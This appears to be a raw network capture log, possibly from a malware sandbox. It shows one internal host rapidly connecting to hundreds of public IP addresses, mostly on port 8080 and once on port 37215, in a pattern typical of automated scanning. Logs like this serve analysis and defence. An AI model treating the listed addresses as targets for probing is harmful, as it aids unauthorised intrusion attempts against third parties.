Jan 26, 2025 01:43:30.819789886 CET	47566	8080	192.168.2.13	85.234.221.186
Jan 26, 2025 01:43:30.819789886 CET	47566	8080	192.168.2.13	85.244.158.103
Jan 26, 2025 01:43:30.819792032 CET	47566	8080	192.168.2.13	62.42.20.253
Jan 26, 2025 01:43:30.819797039 CET	47566	8080	192.168.2.13	95.2.65.93
Jan 26, 2025 01:43:30.819797993 CET	47566	8080	192.168.2.13	94.9.196.237
Jan 26, 2025 01:43:30.819804907 CET	47566	8080	192.168.2.13	85.171.150.16
Jan 26, 2025 01:43:30.819804907 CET	47566	8080	192.168.2.13	95.151.199.11
Jan 26, 2025 01:43:30.819811106 CET	47566	8080	192.168.2.13	95.155.145.157
Jan 26, 2025 01:43:30.819813967 CET	47566	8080	192.168.2.13	62.130.63.235
Jan 26, 2025 01:43:30.819814920 CET	47566	8080	192.168.2.13	95.214.113.197
Jan 26, 2025 01:43:30.819820881 CET	47566	8080	192.168.2.13	94.250.228.205
Jan 26, 2025 01:43:30.819822073 CET	47566	8080	192.168.2.13	94.74.167.142
Jan 26, 2025 01:43:30.819822073 CET	47566	8080	192.168.2.13	62.36.206.136
Jan 26, 2025 01:43:30.819852114 CET	47566	8080	192.168.2.13	31.121.220.3
Jan 26, 2025 01:43:30.819852114 CET	47566	8080	192.168.2.13	85.151.176.8
Jan 26, 2025 01:43:30.819852114 CET	47566	8080	192.168.2.13	31.74.199.148
Jan 26, 2025 01:43:30.819852114 CET	47566	8080	192.168.2.13	62.159.139.44
Jan 26, 2025 01:43:30.819852114 CET	47566	8080	192.168.2.13	95.1.104.213
Jan 26, 2025 01:43:30.819852114 CET	47566	8080	192.168.2.13	62.79.46.60
Jan 26, 2025 01:43:30.819855928 CET	47566	8080	192.168.2.13	85.253.252.147
Jan 26, 2025 01:43:30.819856882 CET	47566	8080	192.168.2.13	31.144.194.10
Jan 26, 2025 01:43:30.819874048 CET	47566	8080	192.168.2.13	95.188.191.143
Jan 26, 2025 01:43:30.819875956 CET	47566	8080	192.168.2.13	94.132.251.192
Jan 26, 2025 01:43:30.819875956 CET	47566	8080	192.168.2.13	85.160.15.63
Jan 26, 2025 01:43:30.819889069 CET	47566	8080	192.168.2.13	85.205.9.23
Jan 26, 2025 01:43:30.819889069 CET	47566	8080	192.168.2.13	31.252.44.67
Jan 26, 2025 01:43:30.819895983 CET	47566	8080	192.168.2.13	95.48.185.247
Jan 26, 2025 01:43:30.819895983 CET	47566	8080	192.168.2.13	85.109.13.113
Jan 26, 2025 01:43:30.819895983 CET	47566	8080	192.168.2.13	94.37.212.188
Jan 26, 2025 01:43:30.819901943 CET	47566	8080	192.168.2.13	31.143.19.67
Jan 26, 2025 01:43:30.819901943 CET	47566	8080	192.168.2.13	85.79.236.52
Jan 26, 2025 01:43:30.819902897 CET	47566	8080	192.168.2.13	94.115.167.127
Jan 26, 2025 01:43:30.819917917 CET	47566	8080	192.168.2.13	62.171.113.71
Jan 26, 2025 01:43:30.819926977 CET	47566	8080	192.168.2.13	85.212.168.226
Jan 26, 2025 01:43:30.819927931 CET	47566	8080	192.168.2.13	62.188.102.218
Jan 26, 2025 01:43:30.819927931 CET	47566	8080	192.168.2.13	85.129.249.160
Jan 26, 2025 01:43:30.819931030 CET	47566	8080	192.168.2.13	85.18.31.109
Jan 26, 2025 01:43:30.819945097 CET	47566	8080	192.168.2.13	31.44.74.255
Jan 26, 2025 01:43:30.819947004 CET	47566	8080	192.168.2.13	85.68.145.108
Jan 26, 2025 01:43:30.819947004 CET	47566	8080	192.168.2.13	85.107.55.132
Jan 26, 2025 01:43:30.819947958 CET	47566	8080	192.168.2.13	62.32.92.231
Jan 26, 2025 01:43:30.819947004 CET	47566	8080	192.168.2.13	95.68.208.54
Jan 26, 2025 01:43:30.819955111 CET	47566	8080	192.168.2.13	31.212.164.126
Jan 26, 2025 01:43:30.819955111 CET	47566	8080	192.168.2.13	31.244.116.151
Jan 26, 2025 01:43:30.819956064 CET	47566	8080	192.168.2.13	62.229.251.74
Jan 26, 2025 01:43:30.819961071 CET	47566	8080	192.168.2.13	62.50.220.96
Jan 26, 2025 01:43:30.819967985 CET	47566	8080	192.168.2.13	95.17.204.97
Jan 26, 2025 01:43:30.819967985 CET	47566	8080	192.168.2.13	94.21.46.103
Jan 26, 2025 01:43:30.819988012 CET	47566	8080	192.168.2.13	62.108.191.30
Jan 26, 2025 01:43:30.819988966 CET	47566	8080	192.168.2.13	95.9.252.186
Jan 26, 2025 01:43:30.819989920 CET	47566	8080	192.168.2.13	94.155.243.123
Jan 26, 2025 01:43:30.819996119 CET	47566	8080	192.168.2.13	62.92.125.103
Jan 26, 2025 01:43:30.819996119 CET	47566	8080	192.168.2.13	31.255.65.85
Jan 26, 2025 01:43:30.820002079 CET	47566	8080	192.168.2.13	85.50.174.84
Jan 26, 2025 01:43:30.820002079 CET	47566	8080	192.168.2.13	85.203.157.219
Jan 26, 2025 01:43:30.820002079 CET	47566	8080	192.168.2.13	94.251.67.217
Jan 26, 2025 01:43:30.820007086 CET	47566	8080	192.168.2.13	62.144.207.223
Jan 26, 2025 01:43:30.820007086 CET	47566	8080	192.168.2.13	95.237.143.97
Jan 26, 2025 01:43:30.820017099 CET	47566	8080	192.168.2.13	31.89.127.138
Jan 26, 2025 01:43:30.820017099 CET	47566	8080	192.168.2.13	31.147.174.172
Jan 26, 2025 01:43:30.820019960 CET	47566	8080	192.168.2.13	95.70.80.224
Jan 26, 2025 01:43:30.820022106 CET	47566	8080	192.168.2.13	95.120.66.79
Jan 26, 2025 01:43:30.820031881 CET	47566	8080	192.168.2.13	31.225.52.113
Jan 26, 2025 01:43:30.820033073 CET	47566	8080	192.168.2.13	95.52.138.90
Jan 26, 2025 01:43:30.820033073 CET	47566	8080	192.168.2.13	94.1.207.9
Jan 26, 2025 01:43:30.820058107 CET	47566	8080	192.168.2.13	85.67.31.238
Jan 26, 2025 01:43:30.820058107 CET	47566	8080	192.168.2.13	95.11.11.240
Jan 26, 2025 01:43:30.820064068 CET	47566	8080	192.168.2.13	94.47.148.117
Jan 26, 2025 01:43:30.820064068 CET	47566	8080	192.168.2.13	94.170.128.59
Jan 26, 2025 01:43:30.820070982 CET	47566	8080	192.168.2.13	62.71.219.5
Jan 26, 2025 01:43:30.820080996 CET	47566	8080	192.168.2.13	85.29.99.92
Jan 26, 2025 01:43:30.820086956 CET	47566	8080	192.168.2.13	95.1.254.167
Jan 26, 2025 01:43:30.820087910 CET	47566	8080	192.168.2.13	94.90.175.105
Jan 26, 2025 01:43:30.820089102 CET	47566	8080	192.168.2.13	62.151.193.108
Jan 26, 2025 01:43:30.820096016 CET	47566	8080	192.168.2.13	95.183.127.159
Jan 26, 2025 01:43:30.820100069 CET	47566	8080	192.168.2.13	62.147.93.228
Jan 26, 2025 01:43:30.820100069 CET	47566	8080	192.168.2.13	31.150.197.156
Jan 26, 2025 01:43:30.820101023 CET	47566	8080	192.168.2.13	85.254.145.236
Jan 26, 2025 01:43:30.820111036 CET	47566	8080	192.168.2.13	31.160.37.153
Jan 26, 2025 01:43:30.820111036 CET	47566	8080	192.168.2.13	85.125.144.206
Jan 26, 2025 01:43:30.820112944 CET	47566	8080	192.168.2.13	94.198.134.87
Jan 26, 2025 01:43:30.820112944 CET	47566	8080	192.168.2.13	94.240.202.177
Jan 26, 2025 01:43:30.820112944 CET	47566	8080	192.168.2.13	62.217.50.9
Jan 26, 2025 01:43:30.820122957 CET	47566	8080	192.168.2.13	95.42.22.217
Jan 26, 2025 01:43:30.820127964 CET	47566	8080	192.168.2.13	31.175.113.79
Jan 26, 2025 01:43:30.820136070 CET	47566	8080	192.168.2.13	62.17.1.240
Jan 26, 2025 01:43:30.820137024 CET	47566	8080	192.168.2.13	94.217.20.226
Jan 26, 2025 01:43:30.820137024 CET	47566	8080	192.168.2.13	62.144.174.197
Jan 26, 2025 01:43:30.820151091 CET	47566	8080	192.168.2.13	85.146.173.31
Jan 26, 2025 01:43:30.820151091 CET	47566	8080	192.168.2.13	85.61.142.107
Jan 26, 2025 01:43:30.820163965 CET	47566	8080	192.168.2.13	85.210.24.60
Jan 26, 2025 01:43:30.820163965 CET	47566	8080	192.168.2.13	62.49.206.126
Jan 26, 2025 01:43:30.820163965 CET	47566	8080	192.168.2.13	95.23.53.90
Jan 26, 2025 01:43:30.820167065 CET	47566	8080	192.168.2.13	62.40.129.112
Jan 26, 2025 01:43:30.820167065 CET	47566	8080	192.168.2.13	94.143.189.208
Jan 26, 2025 01:43:30.820194006 CET	47566	8080	192.168.2.13	62.212.12.177
Jan 26, 2025 01:43:30.820199013 CET	47566	8080	192.168.2.13	94.111.224.235
Jan 26, 2025 01:43:30.820204020 CET	47566	8080	192.168.2.13	95.170.42.158
Jan 26, 2025 01:43:30.820204973 CET	47566	8080	192.168.2.13	62.172.18.133
Jan 26, 2025 01:43:30.820208073 CET	47566	8080	192.168.2.13	31.239.196.228
Jan 26, 2025 01:43:30.820218086 CET	47566	8080	192.168.2.13	95.145.241.147
Jan 26, 2025 01:43:30.820219040 CET	47566	8080	192.168.2.13	95.110.77.139
Jan 26, 2025 01:43:30.820219994 CET	47566	8080	192.168.2.13	62.234.135.69
Jan 26, 2025 01:43:30.820219994 CET	47566	8080	192.168.2.13	85.46.10.115
Jan 26, 2025 01:43:30.820234060 CET	47566	8080	192.168.2.13	95.163.234.63
Jan 26, 2025 01:43:30.820235014 CET	47566	8080	192.168.2.13	94.108.206.194
Jan 26, 2025 01:43:30.820235014 CET	47566	8080	192.168.2.13	31.102.85.206
Jan 26, 2025 01:43:30.820236921 CET	47566	8080	192.168.2.13	31.7.217.188
Jan 26, 2025 01:43:30.820246935 CET	47566	8080	192.168.2.13	85.162.251.135
Jan 26, 2025 01:43:30.820254087 CET	47566	8080	192.168.2.13	95.60.75.156
Jan 26, 2025 01:43:30.820255041 CET	47566	8080	192.168.2.13	85.22.44.227
Jan 26, 2025 01:43:30.820255995 CET	47566	8080	192.168.2.13	62.34.252.3
Jan 26, 2025 01:43:30.820262909 CET	47566	8080	192.168.2.13	62.229.110.120
Jan 26, 2025 01:43:30.820262909 CET	47566	8080	192.168.2.13	85.76.242.151
Jan 26, 2025 01:43:30.820266962 CET	47566	8080	192.168.2.13	94.173.148.45
Jan 26, 2025 01:43:30.820271015 CET	47566	8080	192.168.2.13	62.59.195.47
Jan 26, 2025 01:43:30.820277929 CET	47566	8080	192.168.2.13	95.84.207.51
Jan 26, 2025 01:43:30.820281982 CET	47566	8080	192.168.2.13	95.150.19.218
Jan 26, 2025 01:43:30.820285082 CET	47566	8080	192.168.2.13	62.53.59.111
Jan 26, 2025 01:43:30.820292950 CET	47566	8080	192.168.2.13	94.7.249.159
Jan 26, 2025 01:43:30.820305109 CET	47566	8080	192.168.2.13	31.200.110.249
Jan 26, 2025 01:43:30.820305109 CET	47566	8080	192.168.2.13	85.19.72.78
Jan 26, 2025 01:43:30.820305109 CET	47566	8080	192.168.2.13	31.254.81.60
Jan 26, 2025 01:43:30.820310116 CET	47566	8080	192.168.2.13	85.37.187.197
Jan 26, 2025 01:43:30.820323944 CET	47566	8080	192.168.2.13	31.160.142.163
Jan 26, 2025 01:43:30.820323944 CET	47566	8080	192.168.2.13	31.248.152.212
Jan 26, 2025 01:43:30.820329905 CET	47566	8080	192.168.2.13	94.12.40.24
Jan 26, 2025 01:43:30.820329905 CET	47566	8080	192.168.2.13	62.225.241.81
Jan 26, 2025 01:43:30.820333004 CET	47566	8080	192.168.2.13	31.208.56.131
Jan 26, 2025 01:43:30.820333004 CET	47566	8080	192.168.2.13	94.250.222.107
Jan 26, 2025 01:43:30.820343018 CET	47566	8080	192.168.2.13	62.122.138.184
Jan 26, 2025 01:43:30.820343018 CET	47566	8080	192.168.2.13	85.178.61.162
Jan 26, 2025 01:43:30.820346117 CET	47566	8080	192.168.2.13	62.58.203.21
Jan 26, 2025 01:43:30.820353031 CET	47566	8080	192.168.2.13	85.170.24.185
Jan 26, 2025 01:43:30.820353985 CET	47566	8080	192.168.2.13	85.170.221.111
Jan 26, 2025 01:43:30.820369005 CET	47566	8080	192.168.2.13	85.232.180.174
Jan 26, 2025 01:43:30.820369005 CET	47566	8080	192.168.2.13	31.205.79.12
Jan 26, 2025 01:43:30.820370913 CET	47566	8080	192.168.2.13	85.21.76.198
Jan 26, 2025 01:43:30.820370913 CET	47566	8080	192.168.2.13	85.215.55.102
Jan 26, 2025 01:43:30.820382118 CET	47566	8080	192.168.2.13	94.175.66.115
Jan 26, 2025 01:43:30.820390940 CET	47566	8080	192.168.2.13	62.141.122.133
Jan 26, 2025 01:43:30.820391893 CET	47566	8080	192.168.2.13	31.65.56.174
Jan 26, 2025 01:43:30.820393085 CET	47566	8080	192.168.2.13	62.180.53.116
Jan 26, 2025 01:43:30.820393085 CET	47566	8080	192.168.2.13	95.56.207.19
Jan 26, 2025 01:43:30.820408106 CET	47566	8080	192.168.2.13	31.94.234.86
Jan 26, 2025 01:43:30.820410967 CET	47566	8080	192.168.2.13	95.87.28.185
Jan 26, 2025 01:43:30.820411921 CET	47566	8080	192.168.2.13	85.59.165.71
Jan 26, 2025 01:43:30.820429087 CET	47566	8080	192.168.2.13	62.18.29.72
Jan 26, 2025 01:43:30.820430040 CET	47566	8080	192.168.2.13	95.55.15.98
Jan 26, 2025 01:43:30.820434093 CET	47566	8080	192.168.2.13	31.134.80.84
Jan 26, 2025 01:43:30.820434093 CET	47566	8080	192.168.2.13	94.191.142.130
Jan 26, 2025 01:43:30.820441008 CET	47566	8080	192.168.2.13	95.169.146.100
Jan 26, 2025 01:43:30.820446014 CET	47566	8080	192.168.2.13	95.22.206.165
Jan 26, 2025 01:43:30.820446968 CET	47566	8080	192.168.2.13	94.156.83.32
Jan 26, 2025 01:43:30.820446968 CET	47566	8080	192.168.2.13	85.9.71.152
Jan 26, 2025 01:43:30.820446968 CET	47566	8080	192.168.2.13	94.194.229.66
Jan 26, 2025 01:43:30.820458889 CET	47566	8080	192.168.2.13	85.5.244.136
Jan 26, 2025 01:43:30.820466042 CET	47566	8080	192.168.2.13	85.87.80.253
Jan 26, 2025 01:43:30.820466042 CET	47566	8080	192.168.2.13	31.12.209.150
Jan 26, 2025 01:43:30.820466042 CET	47566	8080	192.168.2.13	94.184.69.163
Jan 26, 2025 01:43:30.820466042 CET	47566	8080	192.168.2.13	94.82.9.216
Jan 26, 2025 01:43:30.820468903 CET	47566	8080	192.168.2.13	85.136.167.118
Jan 26, 2025 01:43:30.820480108 CET	47566	8080	192.168.2.13	62.83.82.89
Jan 26, 2025 01:43:30.820481062 CET	47566	8080	192.168.2.13	31.175.176.76
Jan 26, 2025 01:43:30.820483923 CET	47566	8080	192.168.2.13	94.60.117.171
Jan 26, 2025 01:43:30.820483923 CET	47566	8080	192.168.2.13	94.214.138.167
Jan 26, 2025 01:43:30.820487022 CET	47566	8080	192.168.2.13	62.176.175.202
Jan 26, 2025 01:43:30.820489883 CET	47566	8080	192.168.2.13	31.190.144.52
Jan 26, 2025 01:43:30.820493937 CET	47566	8080	192.168.2.13	95.172.235.94
Jan 26, 2025 01:43:30.820499897 CET	47566	8080	192.168.2.13	62.176.139.106
Jan 26, 2025 01:43:30.820506096 CET	47566	8080	192.168.2.13	85.218.39.208
Jan 26, 2025 01:43:30.820518970 CET	47566	8080	192.168.2.13	85.56.208.3
Jan 26, 2025 01:43:30.820519924 CET	47566	8080	192.168.2.13	95.152.41.27
Jan 26, 2025 01:43:30.820538044 CET	47566	8080	192.168.2.13	94.49.156.234
Jan 26, 2025 01:43:30.820538998 CET	47566	8080	192.168.2.13	85.223.122.51
Jan 26, 2025 01:43:30.820547104 CET	47566	8080	192.168.2.13	85.137.29.196
Jan 26, 2025 01:43:30.820555925 CET	47566	8080	192.168.2.13	31.174.70.192
Jan 26, 2025 01:43:30.820555925 CET	47566	8080	192.168.2.13	95.9.171.35
Jan 26, 2025 01:43:30.820555925 CET	47566	8080	192.168.2.13	85.44.225.153
Jan 26, 2025 01:43:30.820555925 CET	47566	8080	192.168.2.13	31.204.214.121
Jan 26, 2025 01:43:30.820568085 CET	47566	8080	192.168.2.13	31.57.192.217
Jan 26, 2025 01:43:30.820568085 CET	47566	8080	192.168.2.13	85.90.79.20
Jan 26, 2025 01:43:30.820578098 CET	47566	8080	192.168.2.13	31.104.35.6
Jan 26, 2025 01:43:30.820579052 CET	47566	8080	192.168.2.13	85.120.173.12
Jan 26, 2025 01:43:30.820578098 CET	47566	8080	192.168.2.13	95.183.161.113
Jan 26, 2025 01:43:30.820586920 CET	47566	8080	192.168.2.13	85.170.28.76
Jan 26, 2025 01:43:30.820601940 CET	47566	8080	192.168.2.13	95.109.252.223
Jan 26, 2025 01:43:30.820602894 CET	47566	8080	192.168.2.13	95.44.195.98
Jan 26, 2025 01:43:30.820602894 CET	47566	8080	192.168.2.13	94.231.113.153
Jan 26, 2025 01:43:30.820605993 CET	47566	8080	192.168.2.13	94.234.232.157
Jan 26, 2025 01:43:30.820606947 CET	47566	8080	192.168.2.13	85.239.161.222
Jan 26, 2025 01:43:30.820607901 CET	47566	8080	192.168.2.13	85.229.222.140
Jan 26, 2025 01:43:30.820607901 CET	47566	8080	192.168.2.13	95.87.184.233
Jan 26, 2025 01:43:30.820609093 CET	47566	8080	192.168.2.13	85.22.42.122
Jan 26, 2025 01:43:30.820620060 CET	47566	8080	192.168.2.13	94.170.255.36
Jan 26, 2025 01:43:30.820620060 CET	47566	8080	192.168.2.13	62.82.232.224
Jan 26, 2025 01:43:30.820621014 CET	47566	8080	192.168.2.13	94.206.121.25
Jan 26, 2025 01:43:30.820621967 CET	47566	8080	192.168.2.13	85.232.17.84
Jan 26, 2025 01:43:30.820622921 CET	47566	8080	192.168.2.13	95.157.177.78
Jan 26, 2025 01:43:30.820625067 CET	47566	8080	192.168.2.13	31.105.3.88
Jan 26, 2025 01:43:30.820625067 CET	47566	8080	192.168.2.13	95.104.157.221
Jan 26, 2025 01:43:30.820628881 CET	47566	8080	192.168.2.13	62.170.113.228
Jan 26, 2025 01:43:30.820628881 CET	47566	8080	192.168.2.13	31.203.20.239
Jan 26, 2025 01:43:30.820638895 CET	47566	8080	192.168.2.13	85.129.84.193
Jan 26, 2025 01:43:30.820638895 CET	47566	8080	192.168.2.13	85.187.248.21
Jan 26, 2025 01:43:30.820638895 CET	47566	8080	192.168.2.13	94.74.167.10
Jan 26, 2025 01:43:30.820640087 CET	47566	8080	192.168.2.13	95.84.255.17
Jan 26, 2025 01:43:30.820640087 CET	47566	8080	192.168.2.13	95.114.15.134
Jan 26, 2025 01:43:30.820657015 CET	47566	8080	192.168.2.13	95.170.51.193
Jan 26, 2025 01:43:30.820657015 CET	47566	8080	192.168.2.13	95.70.91.162
Jan 26, 2025 01:43:30.820657015 CET	47566	8080	192.168.2.13	31.188.79.55
Jan 26, 2025 01:43:30.820667982 CET	47566	8080	192.168.2.13	62.54.133.221
Jan 26, 2025 01:43:30.820667982 CET	47566	8080	192.168.2.13	62.208.5.1
Jan 26, 2025 01:43:30.820668936 CET	47566	8080	192.168.2.13	31.63.12.204
Jan 26, 2025 01:43:30.820672035 CET	47566	8080	192.168.2.13	95.115.19.136
Jan 26, 2025 01:43:30.820673943 CET	47566	8080	192.168.2.13	62.207.73.74
Jan 26, 2025 01:43:30.820667982 CET	47566	8080	192.168.2.13	85.145.136.34
Jan 26, 2025 01:43:30.820676088 CET	47566	8080	192.168.2.13	94.35.53.217
Jan 26, 2025 01:43:30.820676088 CET	47566	8080	192.168.2.13	62.168.187.213
Jan 26, 2025 01:43:30.820679903 CET	47566	8080	192.168.2.13	95.213.93.2
Jan 26, 2025 01:43:30.820677996 CET	47566	8080	192.168.2.13	62.139.154.172
Jan 26, 2025 01:43:30.820677996 CET	47566	8080	192.168.2.13	62.196.167.109
Jan 26, 2025 01:43:30.820683002 CET	47566	8080	192.168.2.13	85.26.95.142
Jan 26, 2025 01:43:30.820683956 CET	47566	8080	192.168.2.13	62.152.109.9
Jan 26, 2025 01:43:30.820687056 CET	47566	8080	192.168.2.13	62.24.100.13
Jan 26, 2025 01:43:30.820700884 CET	47566	8080	192.168.2.13	95.93.31.53
Jan 26, 2025 01:43:30.820700884 CET	47566	8080	192.168.2.13	62.65.38.217
Jan 26, 2025 01:43:30.820703030 CET	47566	8080	192.168.2.13	31.165.245.217
Jan 26, 2025 01:43:30.820704937 CET	47566	8080	192.168.2.13	31.251.202.26
Jan 26, 2025 01:43:30.820704937 CET	47566	8080	192.168.2.13	85.51.101.200
Jan 26, 2025 01:43:30.820704937 CET	47566	8080	192.168.2.13	94.15.1.247
Jan 26, 2025 01:43:30.820705891 CET	47566	8080	192.168.2.13	85.16.127.193
Jan 26, 2025 01:43:30.820724964 CET	47566	8080	192.168.2.13	95.222.28.17
Jan 26, 2025 01:43:30.820725918 CET	47566	8080	192.168.2.13	85.26.195.228
Jan 26, 2025 01:43:30.820725918 CET	47566	8080	192.168.2.13	95.167.162.8
Jan 26, 2025 01:43:30.820727110 CET	47566	8080	192.168.2.13	31.106.81.166
Jan 26, 2025 01:43:30.820728064 CET	47566	8080	192.168.2.13	95.117.11.153
Jan 26, 2025 01:43:30.820738077 CET	47566	8080	192.168.2.13	95.19.25.73
Jan 26, 2025 01:43:30.820739985 CET	47566	8080	192.168.2.13	31.203.244.79
Jan 26, 2025 01:43:30.820740938 CET	47566	8080	192.168.2.13	31.127.250.153
Jan 26, 2025 01:43:30.820761919 CET	47566	8080	192.168.2.13	62.52.226.41
Jan 26, 2025 01:43:30.820766926 CET	50222	80	192.168.2.13	95.252.5.214
Jan 26, 2025 01:43:30.820766926 CET	47566	8080	192.168.2.13	85.102.104.229
Jan 26, 2025 01:43:30.820770979 CET	47566	8080	192.168.2.13	94.188.9.167
Jan 26, 2025 01:43:30.820772886 CET	47566	8080	192.168.2.13	62.110.215.93
Jan 26, 2025 01:43:30.820775986 CET	47566	8080	192.168.2.13	31.90.112.51
Jan 26, 2025 01:43:30.820780993 CET	47566	8080	192.168.2.13	31.176.28.178
Jan 26, 2025 01:43:30.820786953 CET	47566	8080	192.168.2.13	62.196.101.227
Jan 26, 2025 01:43:30.820794106 CET	47566	8080	192.168.2.13	31.254.197.10
Jan 26, 2025 01:43:30.820794106 CET	47566	8080	192.168.2.13	94.245.141.150
Jan 26, 2025 01:43:30.820795059 CET	47566	8080	192.168.2.13	85.18.255.217
Jan 26, 2025 01:43:30.820795059 CET	47566	8080	192.168.2.13	31.199.156.120
Jan 26, 2025 01:43:30.820805073 CET	47566	8080	192.168.2.13	95.194.42.224
Jan 26, 2025 01:43:30.820806026 CET	47566	8080	192.168.2.13	62.25.132.139
Jan 26, 2025 01:43:30.820810080 CET	47566	8080	192.168.2.13	95.107.46.22
Jan 26, 2025 01:43:30.820811987 CET	47566	8080	192.168.2.13	85.123.0.142
Jan 26, 2025 01:43:30.820811987 CET	47566	8080	192.168.2.13	85.200.179.190
Jan 26, 2025 01:43:30.820811987 CET	47566	8080	192.168.2.13	95.131.192.40
Jan 26, 2025 01:43:30.820816994 CET	47566	8080	192.168.2.13	62.94.26.247
Jan 26, 2025 01:43:30.820827961 CET	47566	8080	192.168.2.13	31.94.32.148
Jan 26, 2025 01:43:30.820828915 CET	47566	8080	192.168.2.13	85.221.101.20
Jan 26, 2025 01:43:30.820832968 CET	47566	8080	192.168.2.13	31.130.23.252
Jan 26, 2025 01:43:30.820842981 CET	47566	8080	192.168.2.13	85.131.171.134
Jan 26, 2025 01:43:30.820846081 CET	47566	8080	192.168.2.13	62.97.113.191
Jan 26, 2025 01:43:30.820846081 CET	47566	8080	192.168.2.13	95.187.77.114
Jan 26, 2025 01:43:30.820846081 CET	47566	8080	192.168.2.13	95.118.17.108
Jan 26, 2025 01:43:30.820853949 CET	47566	8080	192.168.2.13	62.17.100.160
Jan 26, 2025 01:43:30.820854902 CET	47566	8080	192.168.2.13	95.30.75.232
Jan 26, 2025 01:43:30.820859909 CET	47566	8080	192.168.2.13	62.234.250.204
Jan 26, 2025 01:43:30.820859909 CET	47566	8080	192.168.2.13	95.36.209.44
Jan 26, 2025 01:43:30.820861101 CET	47566	8080	192.168.2.13	95.140.62.226
Jan 26, 2025 01:43:30.820863962 CET	47566	8080	192.168.2.13	94.17.135.95
Jan 26, 2025 01:43:30.820867062 CET	47566	8080	192.168.2.13	85.207.72.158
Jan 26, 2025 01:43:30.820872068 CET	47566	8080	192.168.2.13	95.18.171.22
Jan 26, 2025 01:43:30.820872068 CET	47566	8080	192.168.2.13	85.35.110.19
Jan 26, 2025 01:43:30.820899010 CET	47566	8080	192.168.2.13	85.148.96.63
Jan 26, 2025 01:43:30.820903063 CET	47566	8080	192.168.2.13	94.22.5.218
Jan 26, 2025 01:43:30.820904016 CET	47566	8080	192.168.2.13	85.160.137.95
Jan 26, 2025 01:43:30.820904016 CET	47566	8080	192.168.2.13	31.103.162.143
Jan 26, 2025 01:43:30.820907116 CET	47566	8080	192.168.2.13	62.24.153.156
Jan 26, 2025 01:43:30.820907116 CET	47566	8080	192.168.2.13	94.219.158.37
Jan 26, 2025 01:43:30.820908070 CET	39374	37215	192.168.2.13	197.17.249.106
Jan 26, 2025 01:43:30.820921898 CET	47566	8080	192.168.2.13	85.255.171.53
Jan 26, 2025 01:43:30.820924044 CET	47566	8080	192.168.2.13	85.156.195.84
Jan 26, 2025 01:43:30.820924044 CET	47566	8080	192.168.2.13	31.167.132.56
Jan 26, 2025 01:43:30.820924044 CET	47566	8080	192.168.2.13	94.61.199.127
Jan 26, 2025 01:43:30.820930958 CET	47566	8080	192.168.2.13	94.228.147.219
Jan 26, 2025 01:43:30.820930958 CET	47566	8080	192.168.2.13	62.3.122.95
Jan 26, 2025 01:43:30.820935011 CET	47566	8080	192.168.2.13	85.81.200.118
Jan 26, 2025 01:43:30.820935011 CET	47566	8080	192.168.2.13	95.80.39.97
Jan 26, 2025 01:43:30.820939064 CET	47566	8080	192.168.2.13	94.27.137.93
Jan 26, 2025 01:43:30.820950985 CET	47566	8080	192.168.2.13	31.99.59.105
Jan 26, 2025 01:43:30.820956945 CET	47566	8080	192.168.2.13	95.137.166.155
Jan 26, 2025 01:43:30.820956945 CET	47566	8080	192.168.2.13	95.5.113.137
Jan 26, 2025 01:43:30.820956945 CET	47566	8080	192.168.2.13	95.5.187.59
Jan 26, 2025 01:43:30.820959091 CET	47566	8080	192.168.2.13	31.207.157.48
Jan 26, 2025 01:43:30.820959091 CET	47566	8080	192.168.2.13	31.6.181.90
Jan 26, 2025 01:43:30.820966005 CET	47566	8080	192.168.2.13	95.203.62.162
Jan 26, 2025 01:43:30.820975065 CET	47566	8080	192.168.2.13	62.160.133.3
Jan 26, 2025 01:43:30.820979118 CET	47566	8080	192.168.2.13	62.8.225.228
Jan 26, 2025 01:43:30.820980072 CET	47566	8080	192.168.2.13	94.9.212.219
Jan 26, 2025 01:43:30.820981979 CET	47566	8080	192.168.2.13	85.165.82.74
Jan 26, 2025 01:43:30.820981979 CET	47566	8080	192.168.2.13	31.248.88.143
Jan 26, 2025 01:43:30.820986032 CET	47566	8080	192.168.2.13	95.61.149.57
Jan 26, 2025 01:43:30.820986032 CET	47566	8080	192.168.2.13	62.128.188.10
Jan 26, 2025 01:43:30.820993900 CET	47566	8080	192.168.2.13	62.46.181.163
Jan 26, 2025 01:43:30.820997000 CET	47566	8080	192.168.2.13	95.123.125.234
Jan 26, 2025 01:43:30.820998907 CET	47566	8080	192.168.2.13	31.156.88.15
Jan 26, 2025 01:43:30.820998907 CET	47566	8080	192.168.2.13	31.39.55.180
Jan 26, 2025 01:43:30.821001053 CET	47566	8080	192.168.2.13	85.108.83.122
Jan 26, 2025 01:43:30.821001053 CET	47566	8080	192.168.2.13	95.212.206.166
Jan 26, 2025 01:43:30.821006060 CET	47566	8080	192.168.2.13	94.31.20.189
Jan 26, 2025 01:43:30.821013927 CET	47566	8080	192.168.2.13	31.90.87.194
Jan 26, 2025 01:43:30.821046114 CET	47566	8080	192.168.2.13	94.255.176.247
Jan 26, 2025 01:43:30.821047068 CET	47566	8080	192.168.2.13	31.116.67.232
Jan 26, 2025 01:43:30.821047068 CET	47566	8080	192.168.2.13	62.164.245.50
Jan 26, 2025 01:43:30.821052074 CET	47566	8080	192.168.2.13	95.164.235.159
Jan 26, 2025 01:43:30.821060896 CET	47566	8080	192.168.2.13	62.232.29.34
Jan 26, 2025 01:43:30.821062088 CET	47566	8080	192.168.2.13	31.136.179.252
Jan 26, 2025 01:43:30.821062088 CET	47566	8080	192.168.2.13	31.77.94.255
Jan 26, 2025 01:43:30.821069002 CET	47566	8080	192.168.2.13	31.48.221.0
Jan 26, 2025 01:43:30.821069956 CET	47566	8080	192.168.2.13	85.138.33.167
Jan 26, 2025 01:43:30.821070910 CET	47566	8080	192.168.2.13	94.222.243.78
Jan 26, 2025 01:43:30.821070910 CET	47566	8080	192.168.2.13	95.153.221.155
Jan 26, 2025 01:43:30.821077108 CET	47566	8080	192.168.2.13	85.119.34.19
Jan 26, 2025 01:43:30.821077108 CET	47566	8080	192.168.2.13	62.124.240.71
Jan 26, 2025 01:43:30.821077108 CET	47566	8080	192.168.2.13	95.81.97.23
Jan 26, 2025 01:43:30.821098089 CET	47566	8080	192.168.2.13	95.94.12.22
Jan 26, 2025 01:43:30.821098089 CET	47566	8080	192.168.2.13	62.224.131.99
Jan 26, 2025 01:43:30.821098089 CET	47566	8080	192.168.2.13	62.201.168.35
Jan 26, 2025 01:43:30.821100950 CET	47566	8080	192.168.2.13	62.73.11.108
Jan 26, 2025 01:43:30.821103096 CET	47566	8080	192.168.2.13	85.208.243.176
Jan 26, 2025 01:43:30.821105003 CET	47566	8080	192.168.2.13	31.75.189.33
